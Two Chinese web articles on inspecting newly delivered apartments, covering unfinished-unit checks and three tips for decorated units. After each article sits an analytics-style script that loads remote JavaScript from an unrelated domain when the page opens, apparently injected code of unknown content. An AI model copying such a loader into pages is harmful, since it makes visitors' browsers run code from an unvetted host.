毛坯房验收要点 验房专业实务

验房是什么？验房专业实务简单来说就是全面检查的房屋的墙壁、天花板、地板、电气、水等项目。为什么要验房呢？验房是为了确保房屋交付合法，质量合格。保障业主权益，保证日后的居住安全。发现问题及时让开发商整改，同时也减少装修时因整改产生的增项收费。毛坯房验房专业实务要点1.入户门检查是否有划痕，施工时如果没有保护好，就会导致材料进场时划伤入户门。2.门框检查平整度是否合格，门的开关阻力是否过大，门框与墙间的缝隙是否填充耐候密封胶。3.窗户检查玻璃质量合格与否，如果设有排水洞，检查排水洞是否堵塞，轨道等开启方式是否流畅。4.阳台栏杆检查护栏高度是否达标，一般高层住宅的护栏高度在1100mm，栏杆垂直间距小于110mm。5.地面验房专业实务中现场要求平整度在正负5以内，如果不符合验房专业实务标准，可以要求在财产登记前免费维修。6.墙面首先是平整度检查，在最开始做验房专业实务的时候就要把墙面平整度测好。另外也要检测墙面是否空鼓，但是大家对墙面空鼓也不要太担心，一些小空鼓其实不用维修，属于水泥墙的正常现象。7.顶面首先检查抹灰。有些房子有非常明显的顶高差，一些黑心的开发商直接抹灰，做吊顶时候就很是麻烦。8.防水开发商一般都会做刚性防水或者卷材防水，在收房的时候把地漏堵上蓄水蓄个48小时然后跑到楼下去看有没有漏水就好了。9.排水在做验房专业实务的时候要对每一个地漏做通水测试，如果不通的话要马上整改。10.电器首相检查配电箱，检查是不是新的，曾经检查到过一些配电箱是直接从老的配电箱拆下来的，这就非常不厚道。另外也会用相位检测仪去检查开关插座是不是正常，弱点系统是不是正常，等等。11.消防首先检查管道是不是有阻火圈，阻火圈直径是不是满足要求，通气管是否能通到屋面上，如果是通到屋面上，那么也会检查通气管是否有阻火圈。很多时候业主不具备验房经验和验房专业实务知识，在房屋交付的时候就只看表象，没有深入理解房屋是否真的存在问题，只有通过验房专业实务，发现问题及时记录，给房子一个狠狠的体验，才能让业主住的更放心，更舒服。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

精装房专业验房的三点注意事项

现如今的房地产市场，通常的是清水房源占据着大片江山，但是根据市场的需要，精装房也越来越多出现在市面上。精装房，包装华丽，打着拎包入住的名号，吸引了不少人的目光。都知道买房容易装修费劲，买下精装房，就是给自己减少了很大的一个负担，但是等到精装房收房时候，验房也是有点头疼，精装房，收房时一看金碧辉煌嘛，怎么在鸡蛋里挑骨头？有需要就有提供服务的人，现在也出现很多专业的验房公司，可以进行精装房专业验房，为业主朋友提供一点专业服务，这里就提供三点关于精装房专业验房的注意事项，供你参考。一、主材品牌对比到验房时，业主朋友最好提前准备好当初购房签订的装修合同，提供给精装房专业验房人员，供他在验房过程中对实际的主材进行一一对比，合同中明确了主材的品牌、型号等，开发商是否有偷梁换柱的行为，以国产冒充原装进口等行为，都要一一查明。二、检查水电工程质量水电，必然是装修的大头，等到精装房专业验房时，业主可能觉得都已经埋入地下，看不到摸不到，检查不了，其实水电好坏会与房子的舒适度有很大的关系，既然请到精装房专业验房人士，这个问题一定要他们好好验验，虽然埋入地下，作为专业人士，还是可以由表及里的验个明白。三、检查厨卫设备既然是拎包入住，厨房卫生间的配套也是验房的关键。需要精装房专业验房人员对橱柜门是否正常开合，烟道排布是否合理、天花板是否有渗漏、洁具安装是否合理等问题进行一次检验。能够遇上一个良心开发商的概率无疑也是像中彩票一样困难，在验房时请到专业人士，为以后扫除隐患，可以安心入住新房了。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();